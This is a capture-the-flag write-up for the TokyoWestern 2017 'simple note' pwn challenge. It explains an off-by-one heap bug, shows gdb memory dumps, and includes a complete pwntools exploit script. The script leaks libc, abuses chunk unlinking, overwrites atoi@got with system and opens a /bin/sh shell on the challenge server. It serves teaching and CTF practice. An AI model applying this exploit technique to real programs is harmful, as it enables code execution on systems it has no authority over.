TokyoWestern Qualification 2017 PWN SIMPLE NOTE1 Write-up

Introduction

This is a pwn challenge in TokyoWestern 2017. As part of my tutorial plan, I decide to have a simple write-up on this challenge.

Vulnerability Analysis

There exists an off-by-one error in edit function. Attacker can corrupt the metadata of next chunk with one-byte value.

Capture17

Exploitation Plan

Utilize unlink mechanism to modify some element in global variable list. Then use the corrupted pointer to overwrite atoi@got to address of system and hijack the control flow.

Memory layout before off-by-one error

0x6020c0 		<list>:	0x000000000181c010	0x000000000181c0a0
0x6020d0 		<list+16>:	0x000000000181c130	0x000000000181c1c0
0x6020e0 		<list+32>:	0x000000000181c250	0x000000000181c2e0
0x6020f0 		<list+48>:	0x0000000000000000	0x0000000000000000
0x181c1b0:	0x4343434343434343	0x0000000000000091
0x181c1c0:	0x4444444444444444	0x4444444444444444
0x181c1d0:	0x4444444444444444	0x4444444444444444
0x181c1e0:	0x4444444444444444	0x4444444444444444
0x181c1f0:	0x4444444444444444	0x4444444444444444
0x181c200:	0x4444444444444444	0x4444444444444444
0x181c210:	0x4444444444444444	0x4444444444444444
0x181c220:	0x4444444444444444	0x4444444444444444
0x181c230:	0x4444444444444444	0x4444444444444444
0x181c240:	0x4444444444444444	0x0000000000000091
0x181c250:	0x4545454545454545	0x4545454545454545
0x181c260:	0x4545454545454545	0x4545454545454545
0x181c270:	0x4545454545454545	0x4545454545454545
0x181c280:	0x4545454545454545	0x4545454545454545
0x181c290:	0x4545454545454545	0x4545454545454545
0x181c2a0:	0x4545454545454545	0x4545454545454545
0x181c2b0:	0x4545454545454545	0x4545454545454545
0x181c2c0:	0x4545454545454545	0x4545454545454545
0x181c2d0:	0x4545454545454545	0x0000000000000091

Memory layout after off-by-one error

0x6020c0 		<list>:	0x000000000181c010	0x000000000181c0a0
0x6020d0 		<list+16>:	0x000000000181c130	0x000000000181c1c0
0x6020e0 		<list+32>:	0x000000000181c250	0x000000000181c2e0
0x6020f0 		<list+48>:	0x0000000000000000	0x0000000000000000
0x181c1b0:	0x4343434343434343	0x0000000000000091
0x181c1c0:	0x0000000000000000	0x0000000000000080
0x181c1d0:	0x00000000006020c0	0x00000000006020c8
0x181c1e0:	0x4141414141414141	0x4141414141414141
0x181c1f0:	0x4141414141414141	0x4141414141414141
0x181c200:	0x4141414141414141	0x4141414141414141
0x181c210:	0x4141414141414141	0x4141414141414141
0x181c220:	0x4141414141414141	0x4141414141414141
0x181c230:	0x4141414141414141	0x4141414141414141
0x181c240:	0x0000000000000080	0x0000000000000090
0x181c250:	0x4545454545454545	0x4545454545454545
0x181c260:	0x4545454545454545	0x4545454545454545
0x181c270:	0x4545454545454545	0x4545454545454545
0x181c280:	0x4545454545454545	0x4545454545454545
0x181c290:	0x4545454545454545	0x4545454545454545
0x181c2a0:	0x4545454545454545	0x4545454545454545
0x181c2b0:	0x4545454545454545	0x4545454545454545
0x181c2c0:	0x4545454545454545	0x4545454545454545
0x181c2d0:	0x4545454545454545	0x0000000000000091

Memory Layout after unlink: free(0x181c250)

0x6020c0 		<list>:	0x000000000181c010	0x000000000181c0a0
0x6020d0 		<list+16>:	0x000000000181c130	0x00000000006020c0
0x6020e0 		<list+32>:	0x0000000000000000	0x000000000181c2e0
0x6020f0 		<list+48>:	0x0000000000000000	0x0000000000000000
0x602100 		<list+64>:	0x0000000000000000	0x0000000000000000

Exploit

from pwn import *

DEBUG = int(sys.argv[1]);

if(DEBUG == 0):
    r = remote("pwn1.chal.ctf.westerns.tokyo", 16317);
elif(DEBUG == 1):
    r = process("./simple");
elif(DEBUG == 2):
    r = process("./simple");
    gdb.attach(r, '''source ./script''');

def add(size, note):
    r.recvuntil("Your choice: ");
    r.sendline("1");
    r.recvuntil("Please input the size: ");
    r.sendline(str(size));
    r.recvuntil("Please input your note: ");
    r.send(note);

def delete(index):
    r.recvuntil("Your choice: ");
    r.sendline("2");
    r.recvuntil("Please input the index:");
    r.sendline(index);

def show(index):
    r.recvuntil("Your choice: ");
    r.sendline("3");
    r.recvuntil("Please input the index:");
    r.sendline(index);

def edit(index, note):
    r.recvuntil("Your choice: ");
    r.sendline("4");
    r.recvuntil("Please input the index:");
    r.sendline(index);
    r.recvuntil("Please input your note:");
    r.send(note);

def halt():
    while(True):
        log.info(r.recvline());

def exploit():
    libc = ELF("./libc.so.6");
    systemRelAddr = libc.symbols['system'];

    add(0x88, "A"*0x88);
    add(0x88, "B"*0x88);
    add(0x88, "C"*0x88);
    add(0x88, "D"*0x88);
    add(0x88, "E"*0x88);
    add(0x88, "G"*0x88);

    delete("0");
    add(0x88, "A"*8);
    show("0");
    r.recvuntil("A"*8);
    leak = r.recv(6);
    addr = u64(leak+"\x00\x00");
    log.info("leaked address: 0x%x" % addr);
    libcBaseAddr = addr - 0x3c4b78;
    systemAbsAddr = libcBaseAddr + systemRelAddr;
    log.info("libc base address: 0x%x" % libcBaseAddr);
    log.info("system address: 0x%x" % systemAbsAddr);

    listAddr = 0x6020c0 + 0x18;

    payload = p64(0) + p64(0x80) + p64(listAddr-0x18) + p64(listAddr-0x10);
    payload += "A"*0x60 + p64(0x80) + p64(0x90);

    edit("3", payload);
    #halt();
    delete("4");

    edit("3", p32(0x602058) );
    edit("0", p64(systemAbsAddr));

    r.sendline("/bin/sh");

    r.interactive();

exploit();

#flag is TWCTF{unl1nk_4774ck_15_u53fu1_73chn1qu3}

 

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.